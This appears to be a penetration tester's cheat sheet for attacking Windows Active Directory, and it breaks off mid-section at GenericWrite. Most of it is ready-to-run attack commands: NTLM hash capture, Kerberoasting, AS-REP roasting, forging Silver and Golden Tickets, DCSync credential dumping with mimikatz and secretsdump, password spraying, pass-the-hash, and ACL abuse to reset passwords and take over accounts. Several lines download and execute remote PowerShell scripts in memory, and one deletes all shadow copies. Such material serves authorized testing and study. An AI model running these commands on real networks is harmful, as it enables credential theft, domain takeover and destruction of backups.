# Active Directory

## 00. Basics

* [MindMap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg)

{% hint style="info" %}
**Accounts ending with a `$`** indicate either a **machine account** (like a computer object in AD) or a **managed service account**. These accounts are automatically created when a computer is joined to the domain or when a service account is provisioned.
{% endhint %}

```javascript
+----------------------------------------------+
│                 SID Structure                │
+----------------------------------------------+
│  S-1-5-21-343818398-2089392276-30300820-544  │
+----------------------------------------------+
   │ │ │ └──── Subauthority Values ─────┘  │
   │ │ │                                   └───────| RID (Relative Identifier)
   │ │ │                                   
   │ │ └─────────────── Identifier Authority (e.g., NT Authority = 5)
   │ │
   │ └─────────── Revision (Always "1") 
   │
   └───────── "S" identifies as a SID string

- Identifier Authority: Defines the authority under which the SID was created.
    - 0 = Null Authority (Represents an empty or undefined authority.)
    - 1 = World Authority (epresents "everyone" or all users.)
    - 2 = Local Authority (Defines local machine accounts and groups.)
    - 3 = Creator Authority (Represents the creator or owner of an object.)
    - 4 = Non-Unique Authority (Rarely used; identifies non-unique entities.)
    - 5 = NT Authority (Represents the Windows NT security subsystem.)
    
- RID: Relative Identifier, unique to each account or group.
    - 500 = Administrator account.
    - 501 = Guest account.
    - 502 = KRBTGT account - used for Kerberos authentication.
    - 512 = Domain Administrators group.
    - 513 = Domain Users group.
    - 514 = Domain Guests group.
    - 515 = Domain Computers group.
    - 516 = Domain Controllers group.
    - 517 = Cert Publishers group.
    - 518 = Schema Admins group.
    - 519 = Enterprise Admins group.
    - 520 = Group Policy Creator Owners group.
    - 521 = Read-only Domain Controllers group.
    - 522 = Cloneable Domain Controllers group.
    - 525 = Protected Users group.
    - 544 = Administrators group.
    - 545 = Users group.
    - 546 = Guests group.
    - 547 = Power Users group.
    - 548 = Account Operators group.
    - 549 = Server Operators group.
    - 550 = Print Operators group.
    - 551 = Backup Operators group.
    - 552 = Replicator group.
    - 554 = Remote Desktop Users group.
    - 559 = Windows Authorization Access group.
    - 573 = RDS Remote Access Servers group.
    - 574 = RDS Endpoint Servers group.
    - 575 = RDS Management Servers group.
    - 577 = Access Control Assistance Operators group.
    - 578 = Remote Management Users group.
    - 580 = Storage Replica Administrators group.
    - 1000 = The first user account created manually after Windows installation.
```

```bash
## ------------------| Generate NTLM hashes using password
iconv -f ASCII -t UTF-16LE <(printf "<Password>") | openssl dgst -md4

## ------------------| Clock skew too great [ERROR]
sudo timedatectl set-timezone UTC
sudo systemctl stop systemd-timesyncd
sudo ntpdate -bB $IP
sudo ntpdate -u $IP
```

* `objectSid` to `SID` representation

```python
import sys
import base64
import struct

def convert(binary):
    version = struct.unpack('B', binary[0:1])[0]
    # I do not know how to treat version != 1 (it does not exist yet)
    assert version == 1, version
    length = struct.unpack('B', binary[1:2])[0]
    authority = struct.unpack(b'>Q', b'\x00\x00' + binary[2:8])[0]
    string = 'S-%d-%d' % (version, authority)
    binary = binary[8:]
    assert len(binary) == 4 * length
    for i in range(length):
        value = struct.unpack('<L', binary[4*i:4*(i+1)])[0]
        string += '-%d' % value
    return string

print(base64.b64decode(sys.argv[1]))

##python3 binary2SID.py <base64==>
```

* Steel Hashes

```bash
## ------------------| Using Responder
sudo responder -I tun0

## ------------------|  Using Metasploit
use auxiliary/server/capture/http_ntlm
set SRVPORT 80
set URIPATH /
set SRVHOST <MyIP>
set JOHNPWFILE passwords
run
```

* Basic commands

```bash
## ------------------| Import AD module
Get-Module -Name ActiveDirectory -ListAvailable
Import-Module -Name ActiveDirectory

## ------------------| List all users and computers
Get-ADObject -LDAPFilter "(objectClass=user)"
Get-ADObject -LDAPFilter "(objectCategory=user)"
Get-ADObject -LDAPFilter "(&(!(objectClass=computer)(objectCategory=user)))"

## ------------------| List all users which start account name with h
Get-ADObject -LDAPFilter "(sAMAccountName=h*)"
Get-ADObject -LDAPFilter "(sAMAccountName=h*)" -Properties cn,objectSid,description,givenname,sn                     

## ------------------| List all users which has SPN (Service Principle Name) set;GetUserSPns
Get-ADObject -LDAPFilter "(servicePrincipalName=*)"
Get-ADObject -LDAPFilter "(servicePrincipalName=*)" -Properties servicePrincipalName

## ------------------| Check Joined/Connect to domain?
systeminfo | findstr /B "Domain" ## [Windows] If you see something other than Domain: WORKGROUP, then you are likely joined to a domain
ls -al /etc/krb5.conf            ## [Linux]
kinit -k host/$(hostname -f)     ## [Linux]

## ------------------| Enumerating Domain Admins
net group "Domain Admins" /domain

## ------------------| Enumerating server admins
net group "Server_Admin" /domain

## ------------------| List all users on entire domain
net user /domain

## ------------------| List all groups
net group /domain

## ------------------| List groups for h4rith user
net user h4rith /domain

## ------------------| Add users to groups
net localgroup "Administrators" harith  /add           ### Add to the Administrator group
net localgroup "Remote Desktop Users" harith /add      ### Add to the Remote Desktop Users
net localgroup "Remote Management Users" harith /add   ### Add to the WinRM Users

## ------------------| Current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

## ------------------| Domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

## ------------------| Current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

## ------------------| Get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

## ------------------| Get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain

## ------------------| Get DC for currently authenticated session
nltest /dsgetdc:offense.local

## ------------------| Get domain trusts from cmd shell
nltest /domain_trusts

## ------------------| Get user info
nltest /user:"spotless"

## ------------------| List smb shares
Get-SmbShare
Get-SmbShare -Name C$ | select *

## ------------------| Creating a new file share
New-SmbShare -Name <ShareName> -Description "This is description" -Path C:\Shares\<ShareName>      

## ------------------| Modifying share properties
Set-SmbShare -Name <ShareName> -Description "This is description" -Force

## ------------------| Granting file share permissions.
Grant-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -AccessRight Full -Force
## You can use Everyone insted of <DOMAIN>\<USER>
## You can use Read,Change,Custom insted of Full.

## ------------------| Removing file share permissions
Revoke-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force
## You can use Everyone insted of <DOMAIN>\<USER>

## ------------------| Denying permissions to a file share
Block-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force
UnBlock-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force
## You can use Everyone insted of <DOMAIN>\<USER

## ------------------| Removing a file share
Remove-SmbShare -Name <ShareName> -Force

## ------------------| Get DC for currently authenticated session
set l

## ------------------| Get domain name and DC the user authenticated to
klist

## ------------------| Get all logon sessions. Includes NTLM authenticated sessions
klist sessions

## ------------------| Kerberos tickets for the session
klist

## ------------------| Kached krbtgt
klist tgt

## ------------------| Whoami on older Windows systems
set u

## ------------------| Find DFS shares with ADModule
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name

## ------------------| Find DFS shares with ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}

## ------------------| Check if spooler service is running on a host
powershell ls "\\dc01\pipe\spoolss"
```

* Find GPP Passwords in `SYSVOL`

```bash
## ------------------| Manual
findstr /S cpassword $env:logonserver\sysvol\*.xml
findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)
findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml

## ------------------| PowerSploit
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1 
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/Get-GPPPassword.ps1')
Get-GPPPassword
```

* Microsoft ActiveDirectory PowerShell [ADModule](https://github.com/samratashok/ADModule)

```bash
## ------------------| Setup
wget https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1
wget https://github.com/samratashok/ADModule/raw/master/Microsoft.ActiveDirectory.Management.dll
## First you need to import the dll file [Use Absolute Path or .\Microsoft.ActiveDirectory.Management.dll]
Import-Module C:\Full\Path\Microsoft.ActiveDirectory.Management.dll -Verbose
# or : Import-ActiveDirectory -ActiveDirectoryModule C:\Full\Path\Microsoft.ActiveDirectory.Management.dll
. .\Import-ActiveDirectory.ps1
Get-Command -Module ActiveDirectory

## ------------------| Basic Doamin Enum
Get-ADDomain                            # List current domain
Get-ADDomain -Identity <DomainName>     # List other domain info
(Get-ADDomain).DomainSID                # List domain SID value
Get-ADDomainController                  # List domain controllers
Get-ADDomainController -DomainName <Domain> -Discover

## ------------------| User Enumaration
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity <UserName> -Properties *
Get-ADUser -Filter * -Properties * | select Name
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Properties  | select Name 
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description   

## ------------------| Computer Enumaration
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Windows*"' -Properties OperatingSystem | select Name,OperatingSystem 
Get-ADComputer "<ComputerName>" –Properties * | Format-Table OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack      

## ------------------| Domain Group Enumaration
Get-ADGroup -Filter * | select name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select name
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity <UserName>

## ------------------| Enumerate Organizational units [OUs]
Get-ADOrganizationalUnit -Filter * -Properties * | select name

## ------------------| Enumerate ACL
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<Domain>').Access
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<Domain>').Access | select IdentityReference,ActiveDirectoryRights | fl

## ------------------| Enumerate Domain Trusts
Get-ADTrust -Filter *
Get-ADTrust -Identity <FQDN>

## ------------------| Enumerate Domain Forests
Get-ADForest
(Get-ADForest).Domains
Get-ADForest -Identity <FQDN>
Get-ADForest | select -ExpandProperty GlobalCatalogs
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
```

## 01. Exploitations & Attacks

### 01.1 Kerberoasting

> 💡 Kerberoasting is an attack technique that targets Service Principal Names (SPNs) in a Windows domain. In this attack, the attacker requests service tickets for service accounts that are running under Kerberos authentication. These service tickets are encrypted using the service account's password hash, and since many service accounts have weak or easily guessable passwords, the attacker can brute-force the encrypted tickets offline to reveal the account's password. Once the password is cracked, the attacker gains access to the service account and can escalate privileges within the domain. Kerberoasting is effective because it doesn't require elevated privileges to launch, and the process of cracking the tickets is done offline, making detection difficult.

* With GetUserSPNs.py

```bash
## ------------------| Requesting TGS Tickets for Kerberoasting
impacket-GetUserSPNs -request -dc-ip $IP <domain>/<user> -no-pass
impacket-GetUserSPNs -request -dc-ip $IP <domain>/<user>:<password>
impacket-GetUserSPNs -request -dc-ip $IP <domain>/<user> -hashes <LM:NT>
```

* With GetUserSPNs.ps1

```sh
## ------------------| List all SPNs
cp /usr/share/kerberoast/GetUserSPNs.ps1 .
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/GetUserSPNs.ps1')
## With PowerView
Get-NetUser | Where-Object {$_.servicePrincipalName} | select samaccountname,serviceprincipalname | fl

## ------------------| Request ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <ServicePrincipalNames>        
## Then ticket will store on memory; 

## ------------------| Use mimikatz to save ticket to disk
kerberos::list /export

## ------------------| Crack hash
sudo apt-get install kerberoast
python3 /usr/share/kerberoast/tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

## ------------------| If you are willing to crack with john
git clone https://github.com/nidem/kerberoast
python3 kerberoast/kirbi2john.py ticket.kirbi > john-ticket.txt
john --format=krb5tgs john-ticket.txt -wordlist=/usr/share/wordlists/rockyou.txt
```

* With Invoke-Kerberoast.ps1

```bash
## ------------------| Download
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1            

## ------------------| Export ticket
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File hashes.csv             

## ------------------| Crack hash
hashcat -m 13100 -a0 hash.txt /usr/share/wordlists/rockyou.txt -O
```

* With Rubeus

```bash
## ------------------| Export ticket
.\Rubeus.exe kerberoast /simple /outfile:hashes.txt
.\Rubeus.exe kerberoast /creduser:<Domain>\<UserName> /credpassword:Password123! /outfile:hashes.txt

## ------------------| Crack hash
hashcat -m 13100 -a0 hash.txt /usr/share/wordlists/rockyou.txt -O
```

### 01.2 AS-REP Roasting

> 💡 AS-REP Roasting is an attack where an attacker targets accounts with disabled pre-authentication in a Kerberos environment. The attacker requests an AS-REP from the KDC, which is encrypted with the target account's password hash. Since no pre-authentication is required for these accounts, the attacker can intercept the AS-REP and attempt to brute-force the encryption offline. If the account uses a weak password, the attacker can crack it and gain access to the account, potentially escalating privileges in the domain.

```bash
## ------------------| With Rubeus
.\Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat

## ------------------| With Impacket
impacket-GetNPUsers -dc-ip $IP <domain>/<user> -no-pass    
impacket-GetNPUsers -dc-ip $IP -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt <domain>/     
```

### 01.3 Silver Ticket

> 💡 A Silver Ticket attack is a post-exploitation technique in Kerberos environments where an attacker forges a service ticket (TGS) to access a specific service, like SQL Server or HTTP, without needing to contact the Domain Controller. This attack requires the NTLM hash of a service account, which can be obtained after compromising a machine or account. With this hash, the attacker can craft a fake Kerberos ticket that appears valid to the target service, allowing access as any user, including privileged ones. Since the forged ticket is presented directly to the service and not validated with the Domain Controller, Silver Ticket attacks are stealthier and harder to detect than Golden Ticket attacks.

* Prerequisite

```bash
## Domain Name                   --> systeminfo | findstr /B "Domain"
## Password for service account  --> perform kerberoasting or use mimikatz to dump the hash

## ------------------| Convert password to hash 
.\Rubeus.exe hash /password:<password>
```

* PassTheTicket with Rubeus

```bash
.\Rubeus.exe silver /service:<servicePrincipalName> /rc4:<NTML-HASH> /sid:<domain_sid> /user:<NonExistentUser> /domain:<domain_name> /ptt
```

* PassTheTicket with mimikatz

```bash
## ------------------| Flush & inject tickets
.\mimikatz.exe "kerberos::purge" "exit"
.\mimikatz.exe "kerberos::golden /user:<NonExistentUser> /domain:<domain_name> /sid:<domain_sid> /target:<FQHN_service_account> /service:HTTP /rc4:<ntml_hash> /ptt" "exit" >> mimikatz-silver.out       
                                                                                                  # ^ MSSQLSvc/SqlServer.htb.com                                                               
## ------------------| Get Shell
.\PsExec.exe -accepteula \\<FQHN_service_account> cmd 
```

* PassTheTicket with python

```bash
## ------------------| Need to sync date (NETBIOS Time)
sudo systemctl stop systemd-timesyncd
sudo ntpdate <DCIP>

## ------------------| Get Silver Ticket
python3 /usr/share/doc/python3-impacket/examples/ticketer.py -nthash <ntml_hash> -domain-sid <domain_sid> -domain <domain_name> -user-id 500 Administrator -spn <FQHN_service_account>     
impacket-getST -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :<ntml_hash> -impersonate Administrator <domain_name>/<FQHN_service_account>    

#### -dc-ip 10.10.10.248
#### -spn - To get the SPN, that’s in the Node Info -> Node Properties section for the svc_int user in Bloodhound        
#### -hashes - the NTLM I collected earlier using gMSADumper.py
#### -impersonate - the user I want a ticket for

## ------------------| Login via silver ticket 
export KRB5CCNAME=Administrator.ccache  
impacket-psexec -k -no-pass Administrator@dc.intelligence.htb
```

### 01.4 Golden Ticket

> 💡 A Golden Ticket attack is a powerful post-exploitation technique where an attacker forges a Kerberos Ticket Granting Ticket (TGT) to gain unlimited access to any service or resource in a domain. To create a Golden Ticket, the attacker must first obtain the NTLM hash of the KRBTGT account, which is responsible for signing all Kerberos tickets in the domain. With this hash, the attacker can generate a fake TGT that appears completely legitimate to Domain Controllers and other systems. This allows them to impersonate any user, including Domain Admins, and maintain persistent, stealthy access across the network, often bypassing detection tools and authentication logs

* Prerequisite

```bash
## Impersonate user 
## Domain Name    --> systeminfo | findstr /B "Domain"
## SID            --> whoami /user  or Get-ADDomain <DOMAIN_NAME>
## Domain KRBTGT Account NTLM password hash    --> DCSync Attack
```

* With impacket

```bash
## ------------------| Get Domain SID
impacket-lookupsid [domain/]username[:password]@]<IP>

## ------------------| Extract Krbtgt hash
impacket-secretsdump [domain/]username[:password]@]<IP> -outputfile krb -user-status
impacket-secretsdump [domain/]username[:password]@]<IP> -outputfile krb -user-status -just-dc-user krbtgt -just-dc-ntlm

## ------------------| Generate the TGT 
## [NTLM Hash]
impacket-ticketer -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>
## [AES Key]
impacket-ticketer -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

## ------------------| Convert kirbi,ccache
impacket-ticketConverter ticket.kirbi /tmp/ticket.ccache
impacket-ticketConverter ticket.ccache /tmp/ticket.kirbi

## ------------------| Set the ticket for impacket use
export KRB5CCNAME=/tmp/ticket.[ccache/kirbi]
klist

## ------------------| Execute remote commands with any of the following by using the TGT
## !! Remember do not use IP address. always use hostname.domain
python psexec.py <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass
impacket-psexec <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass

## ------------------| Fix errors
## KRB_AP_ERR_SKEW(Clock skew too great) 
sudo systemctl stop systemd-timesyncd
sudo ntpdate <DCIP>
```

* With [Mimikatz](https://github.com/gentilkiwi/mimikatz)

```bash
## ------------------| Pass the Ticket [/ppt]
## If you use /ptt at the end of the command when generate the ticket, 
## Then you can use misc::cmd command and then use psexec.exe to get cmd shell.

## ------------------| Generate the ticket
## If you do not use /ppt at the end of the command when you generate the ticket,
## It will store the ticket as ticket.kirbi file. 
## This TGT ticketis valid for 10 years 

## ------------------| RID
## You can use /id:500 to geneate admin ticket

## ------------------| To generate the TGT
## [NTLM Hash]
kerberos::golden /user:h4rithd /domain:<domain_name> /sid:<domain_sid> /krbtgt:<krbtgt_ntlm_hash> /ptt
kerberos::golden /user:h4rithd /domain:<domain_name> /sid:<domain_sid> /krbtgt:<krbtgt_ntlm_hash> /id:500 /ptt
kerberos::golden /domain:<domain_name> /sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
## [AES 128 key]
kerberos::golden /domain:<domain_name> /sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /ptt
## [AES 256 key] ** more secure encryption, probably more stealth due is the used by default by Microsoft.
kerberos::golden /domain:<domain_name> /sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /ptt

## ------------------| Inject TGT with Mimikatz
kerberos::ptt <ticket_kirbi_file>
misc::cmd

## ------------------| Inject TGT with Rubeus
Rubeus.exe ptt /ticket:<ticket_kirbi_file>

## ------------------| Get shell
misc::cmd
psexec.exe \\<DC_HostName> cmd.exe
pushd \\<DC_HostName>\C$
```

* With Metasploit

```bash
## ------------------| Enumerate krbtgt hash & SID of the domain controller
load kiwi
dcsync_ntlm krbtgt

## ------------------| Colloect other information
shell
ipconfig /all 
nbstat -a <DNS_SERVERS_IP>

## ------------------| Create ticket
golden_ticket_create -d <DOMAIN> -u <USER> -s <DOMAIN-SID> -k <HASH> -t /tmp/ticket.kirbi
```

### 01.5 DCSync Attack

> 💡 A DCSync attack is a post-exploitation method where an attacker pretends to be a Domain Controller to request password hashes and secrets from Active Directory using replication protocols. To perform this, the attacker needs access to the domain and an account with special permissions like Replicating Directory Changes, which are usually held by Domain Admins or Domain Controllers.

```bash
## ------------------| Prerequisite
## Privileged account (administrators, Domain Admin or Enterprise Admin)

## ------------------| Ask for a credential for KRBTGT
.\mimikatz.exe "lsadump::dcsync" "/domain:<DOMIAIN> /user:krbtgt" "exit" >> DCSync.out

## ------------------| Ask for a credential for h4rithd user 
.\mimikatz.exe "lsadump::dcsync" "/domain:<DOMIAIN> /user:h4rithd" "exit" >> DCSync.out
```

### 01.6 Password Spraying

* Low and Slow **Password Spraying**

```bash
wget https://raw.githubusercontent.com/ZilentJack/Spray-Passwords/master/Spray-Passwords.ps1          
.\Spray-Passwords.ps1 -Pass Password123! -Admin
```

* [Spray.sh](https://github.com/Greenwolf/Spray)

```bash
## ------------------| Setup
wget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.sh
chmod +x spray.sh                                                                                                                                   

## ------------------| SMB Portal  
spray.sh -smb <targetIP> <USERNAMEs.TXT> <PASSWORDS.TXT> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>

## ------------------| OWA Portal
spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>
```

### 01.6 Pass The Hash \[PTH] - Extended

```bash
## ------------------| impacket-psexec
impacket-psexec <USER>@<IP> -hashes <NTML>:<NTML>   

## ------------------| pth-winexe
export SMBHASH=<NTML>:<NTML>
pth-winexe -U administrator //192.168.1.101 cmd
pth-winexe -U administrator/<NTML>:<NTML> //192.168.0.101 cmd

## ------------------| Metasploit
use exploit/windows/smb/psexec
set SMBPass <NTML>:<NTML>

## ------------------| wmiexec.py
wmiexec.py –hashes <NTML>:<NTML> <DOMAIN>/<USER> @CORPDC01 "vssadmin delete shadows /all /quiet" > out.txt

## ------------------| PsExec.exe
PsExec.exe -accepteula \\<HOST> -u <DOMAIN>\<USER> -p <NTML>:<NTML> cmd.exe
PsExec.exe -accepteula \\<HOST> -s -u <DOMAIN>\<USER> -p <NTML>:<NTML> cmd.exe

## ------------------| Mimikatz
Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<NTML> /domain:<DOMAIN>" "exit"                       

## ------------------| xfreerdp 
xfreerdp /u:<USER> /d:<DOMAIN> /pth:<NTML>:<NTML> /v:<IP>
```

## 02. [PowerView](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1)

* [Abusing Active Directory ACLs/ACEs](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse)

```bash
## ------------------| Load the script remotely & locally
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/PowerView.ps1')
Import-Module .\PowerView.ps1
. .\PowerView.ps1

## ------------------| Enumerate Current Domain
Get-Domain
Get-Domain -Domain <DomainName>
Get-DomainSID

## ------------------| Enumerate Domain Controllers
Get-DomainController 
Get-DomainController -Domain <DomainName>

## ------------------| Enumerate Domain Computers
Get-NetComputer
Get-NetComputer | select name
Get-NetComputer | select Name,operatingsystem
Get-NetComputer -OperatingSystem "*Server 2016*" | select name,operatingsystem

## ------------------| Enumerate Domain Users
Get-DomainUser
Get-DomainUser -Identity <username>
Get-DomainUser | select cn
Get-DomainUser | select samaccountname,logoncount,lastlogon
Get-DomainUser -Identity <username> -Properties DisplayName, MemberOf,objectsid,useraccountcontrol | Format-List

## ------------------| Enumerate All Groups
Get-NetGroup
Get-NetGroup | select name
Get-NetGroup 'Domain Admins'
Get-NetGroup "*admin*"| select name 
Get-NetGroup -Domain <targetdomain> | select name
Get-NetGroupMember "Domain Admins" -Recurse | select MemberName

## ------------------| Enumerate Local Groups
Get-NetLocalGroup 
Get-NetLocalGroup | Select-Object GroupName
Get-NetLocalGroup -ComputerName <computername>
Get-NetGroup -UserName <"username">| select name
Get-NetGroupMember -MemberName "domain admins" -Recurse | select MemberName
Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain

## ------------------| Enumerate Domain Policy
Get-DomainPolicy
(Get-DomainPolicy)."SystemAccess"
(Get-DomainPolicy)."kerberospolicy"
(Get-DomainPolicy -domain <DomainName>)."SystemAccess"

## ------------------| Enumerate Group Policy [GPO]
Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName <ComputeName>
Find-GPOComputerAdmin -ComputerName <ComputeName>
Find-GPOLocation -UserName <UserName> -Verbose

## ------------------| Enumerate Organizational Units [OUs]
Get-NetOU
Get-NetOU | select distinguishedname

## ------------------| Enumerate ACL
Invoke-ACLScanner -ResolveGUIDs # Time-consuming
Get-ObjectAcl -Identity <UserName> -ResolveGUIDs
Get-ObjectAcl -SamAccountName <UserName> -ResolveGUIDs 
Get-ObjectAcl -SamAccountName <UserName> -ResolveGUIDs | select ObjectDN,ActiveDirectoryRights | fl

## ------------------| Enumerate Domain Trusts
Get-DomainTrust
Get-DomainTrust -Domain <FQDN>

## ------------------| Enumerate Domain Forests
Get-Forest
Get-ForestTrust
Get-ForestDomain
Get-ForestGlobalCatalog
Get-Forest -Forest <Domain>
Get-ForestTrust -Forest <Domain>
Get-ForestDomain -Forest <Domain>
Get-ForestGlobalCatalog  -Forest <Domain>

## ------------------| List Domain or File Shares.
Find-DomainShare
Get-NetFileServer -Verbose
Invoke-ShareFinder -Verbose
Find-DomainShare -CheckShareAccess

## ------------------| Find sensitive files on computer in the domain
Invoke-FileFinder -Verbose

## ------------------| Request TGS
Request-SPNTicket 

## ------------------| Convert SID value to Name
"SID>" | Convert-SidToName

## ------------------| Kerberoast
Invoke-Kerberoast
Invoke-Kerberoast -Identity <UserName>

## ------------------| Impersonate a user
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<Domain>\<User>', $pass)
Invoke-UserImpersonation -Credential $cred
Invoke-RevertToSelf

## ------------------| Special Enumerations
## Find all machines on the domain where current account has local admin access
Find-LocalAdminAccess -Verbose ## Very Noisy
Invoke-EnumerateLocalAdmin -Verbose ## Need Admin Prv

## List all Logged / Active on users
Get-NetLoggedon
Get-NetLoggedon -ComputerName <TargetMachineName> | Format-Table -AutoSize
Get-NetSessiom -ComputerName <DCName> | Format-Table -AutoSize

## List all Service Accounts [SPNs]
Get-NetUser –SPN
Get-NetUser | Where-Object {$_.servicePrincipalName} | select samaccountname,serviceprincipalname | fl

## List all Accounts with Kerberos pre-auth disabled [AS-REP Roasting]
Get-DomainUser -PreauthNotRequired -Verbose

## Find all computers which has sessions
Invoke-UserHunter 
Invoke-UserHunter -Stealth ## Only target high value machines
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -GroupName "Domain Admins"
```

## 03. Abusing ACLs

### **03.1 WriteOwner**

{% hint style="info" %}
Abusing the **`WriteOwner`** permission in Active Directory allows an attacker to **change the owner of an object**, such as a user, group, or computer. Once you own the object, you can then grant yourself **FullControl** or **GenericAll** permissions—giving you complete control over it.
{% endhint %}

```bash
## [OwnedUser] --(WriteOwner)--> [TargetUser] --(SetOwner+AddACL)--> [FullControl] --(Abuse)--> [ResetPass | DCSync | DumpHashes]
## ------------------| Windows (PowerView.ps1)
### Check permissions 
Get-ObjectAcl -SamAccountName "TargetUser" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteOwner" }
### Change the owner of the object
Set-DomainObjectOwner -Identity "TargetUser" -OwnerIdentity "OwnedUser" 
### Change Rights to all
Add-DomainObjectAcl -TargetIdentity "TargetUser" -PrincipalIdentity "OwnedUser" -Rights All -Verbose  
### Change Rights and reset password
Add-DomainObjectAcl -TargetIdentity "TargetUser" -PrincipalIdentity "OwnedUser" -Rights ResetPassword -Verbose  
$cred = ConvertTo-SecureString "Password!123" -AsPlainText -Force
Set-DomainUserPassword -Identity "TargetUser" -AccountPassword $cred -Verbose  
net user "TargetUser"
nxc smb $IP -u TargetUser -p 'Password!123'
## or
certipy-ad shadow auto -u <OwnedUser>@<Domain> -p <Password> -account <TargetUser> -dc-ip $IP

## ------------------| Linux 
### Change the owner of the object
impacket-owneredit <domain>/<OwnedUser>:'<Password>' -action write -new-owner <OwnedUser> -target <TargetUser> 
bloodyAD -d <Domain> --host $IP -u "OwnedUser" -p <Password> set owner "TargetUser" "OwnedUser"
### Change Rights 
impacket-dacledit <domain>/<OwnedUser>:'<Password>' -action write -rights FullControl -principal <OwnedUser> -target <TargetUser>
bloodyAD -d <Domain> --host $IP -u "OwnedUser" -p <Password> add genericAll "TargetUser" "OwnedUser"
```

### 03.2 **ForceChangePassword**

```bash
## ------------------| Reset password
$pass = ConvertTo-SecureString 'Password123!' -asPlainText -Force
Set-DomainUserPassword <UserName> -AccountPassword $pass -Verbose

## ------------------| Simple Powershell if you are on AD
Set-ADAccountPassword -Identity <UserName> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password123!" -Force)
```

### 03.3 **GenericAll**

```bash
## ------------------| Add member to another group
$pass = ConvertTo-SecureString 'Password123!' -asPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('HTB\Herman',$pass)
Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $cred
Get-DomainGroup -MemberIdentity Herman | select samaccountname

## ------------------| Linux env
bloodyad -u "CurrentUserName" -p "CurrentPassword" -H $IP -d "<DOMAIN>" add groupMember "TargetGroup" "TargetUser"
net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
### or if you only have hash
pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"
### Verify
net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
```

### 03.4 **GenericWrite**

```bash
## ------------------| Setup
## The cred isn’t necessary but...
